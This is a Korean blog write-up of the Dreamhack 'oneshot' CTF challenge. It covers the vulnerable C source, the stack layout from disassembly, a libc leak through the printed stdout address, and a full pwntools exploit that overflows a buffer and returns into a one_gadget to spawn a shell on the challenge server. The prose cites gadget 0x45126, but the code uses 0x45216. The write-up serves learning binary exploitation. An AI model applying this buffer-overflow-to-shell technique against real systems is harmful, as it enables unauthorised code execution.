system hacking

드림핵 oneshot 문제 풀이

24kg0ld 2024. 7. 9. 23:52

문제 풀이 환경 : 구름ide

1. 문제 파일 다운, 환경 분석

먼저 chmod +x oneshot으로 다운 받은 파일에 실행 권한을 부여해줬다.
문제 풀이 환경은 문제에 제시되어 있다.
envrionment

Ubuntu 16.04
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

canary는 적용되어 있지 않고 Partial RELRO, NX, PIE가 적용되어 있음을 알 수 있다.
또, 우분투 16.04 환경이었는데 구름 ide에서는 docker file 실행이 안 되기 때문에 설정이 까다로워서
로컬에서 시도하지 않고 바로 서버에 익스플로잇을 시도했다.

2. 코드, 취약점 분석

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);  //표준출력인 stdout의 주소 출력

    printf("MSG: "); 
    read(0, msg, 46); //msg의 크기(16바이트)보다 큰 입력(46바이트)을 msg에 받음

    if(check > 0) { //check가 0이 아니라면 프로그램 종료
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg)); //msg를 0으로 초기화
    return 0;
}

stdout의 주소가 출력되기 때문에 stdout의 주소에서 stdout의 offset을 빼주면 libc base 주소를 구할 수 있을 것 같다.
msg보다 큰 입력을 받기 때문에 버퍼 오버 플로우로 return adress에 one gadget을 넣어줄 수 있을 것 같다.
주의할 점은 부호 없는 정수 형으로 선언된 check가 0보다 크면 프로그램이 종료되기 때문에 check의 값을 0으로 유지해야 된다는 점이다.

3. 스택 프레임 분석

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000000a41 <+0>:     push   rbp
   0x0000000000000a42 <+1>:     mov    rbp,rsp
   0x0000000000000a45 <+4>:     sub    rsp,0x30
   0x0000000000000a49 <+8>:     mov    DWORD PTR [rbp-0x24],edi
   0x0000000000000a4c <+11>:    mov    QWORD PTR [rbp-0x30],rsi
   0x0000000000000a50 <+15>:    mov    QWORD PTR [rbp-0x8],0x0
   0x0000000000000a58 <+23>:    mov    eax,0x0
   0x0000000000000a5d <+28>:    call   0x9da <initialize>
   0x0000000000000a62 <+33>:    mov    rax,QWORD PTR [rip+0x200567]        # 0x200fd0
   0x0000000000000a69 <+40>:    mov    rax,QWORD PTR [rax]
   0x0000000000000a6c <+43>:    mov    rsi,rax
   0x0000000000000a6f <+46>:    lea    rdi,[rip+0x107]        # 0xb7d
   0x0000000000000a76 <+53>:    mov    eax,0x0
   0x0000000000000a7b <+58>:    call   0x800 <printf@plt>
   0x0000000000000a80 <+63>:    lea    rdi,[rip+0x102]        # 0xb89
   0x0000000000000a87 <+70>:    mov    eax,0x0
   0x0000000000000a8c <+75>:    call   0x800 <printf@plt>
   0x0000000000000a91 <+80>:    lea    rax,[rbp-0x20]
   0x0000000000000a95 <+84>:    mov    edx,0x2e
   0x0000000000000a9a <+89>:    mov    rsi,rax
   0x0000000000000a9d <+92>:    mov    edi,0x0
   0x0000000000000aa2 <+97>:    call   0x830 <read@plt>
   0x0000000000000aa7 <+102>:   cmp    QWORD PTR [rbp-0x8],0x0
   0x0000000000000aac <+107>:   je     0xab8 <main+119>
   0x0000000000000aae <+109>:   mov    edi,0x0
   0x0000000000000ab3 <+114>:   call   0x870 <exit@plt>

main+11에서 rbp-0x8에 0x0을 넣어주고 있으므로 check의 위치가 rbp-0x8임을 예상할 수 있고,
read 실행 후 if문에 해당하는 main+102를 보아도 rbp-0x8을 cmp 함수에 인자로 전달하는 것을 보면 주소가 rbp-0x8임을 확실하게 알 수 있다.
read(0, msg, 46) 함수의 실행 전에 rbp-0x20을 인자로 전달하고 있으므로 msg의 주소가 rbp-0x20임을 알 수 있다.
위의 정보로 스택 프레임을 예상해보면

   ------------ rbp-0x20
     msg
   ------------ rbp-0x10
   ------------ rbp-0x8
   check
   ------------ rbp
   sfp(0x8)
   ------------
     return
    adress
   ------------

의 형태임을 예상할 수 있다.
그렇다면 우리는 sfp까지의 버퍼를 덮어서 return adress에 one gadget을 넣어주면 된다.

4. stdout offset 구하기

$ readelf -s ./libc.so.6 | grep 'stdout'
   803: 00000000003c5620   224 OBJECT  GLOBAL DEFAULT   33 _IO_2_1_stdout_@@GLIBC_2.2.5
  1043: 00000000003c5708     8 OBJECT  GLOBAL DEFAULT   33 stdout@@GLIBC_2.2.5

stdout의 offset을 구할 때 주의할 점이 있다.
라이브러리에 stdout과 관련된 offset 중 실제 stdout의 offset은 stdout이 아니라 _IO_2_1_stdout_이라는 점을 알아야 된다.
pwntools로 익스플로잇 코드를 짤 때 유의하자.

5. one gadget 찾기

$ one_gadget ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

위의 one gadget 중 0x45126의 가젯을 활용할 거다.
보통 프로그램이 종료되면 rax가 0으로 초기화 되기 때문에 제약 조건을 만족할 것이라고 예상할 수 있다.
다른 one gadget 제약 조건의 경우 만족하는지 예상하기 힘들다.

6. 코드 작성

from pwn import *

context.arch = 'amd64'

p = remote('host3.dreamhack.games', 14019)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')

p.recvuntil('stdout: ')
stdout_addr = int(p.recvn(14), 16) #형식 지정자가 %s가 아니라 %p이기 때문에 stdout의 주소를 글자수(14)만큼 받아와야 된다.
lb = stdout_addr - libc.symbols['_IO_2_1_stdout_'] #stdout의 주소에서 offset 빼서 libc base 구하기
og = lb + 0x45216 #one gadget 주소 구하기

print(hex(og))

payload = b'\x00'*(0x20-0x8) #msg 덮고
payload += b'\x00'*8 #check 덮고
payload += b'\x00'*8 #sfp를 덮엎다. (check만 \x00으로 덮어줘도 되긴 함)
payload += p64(og) # return adress에 one gadget 주소 넣어주기

p.sendafter("MSG: ", payload)

p.interactive()

위와 같은 코드로 쉘을 획득했다.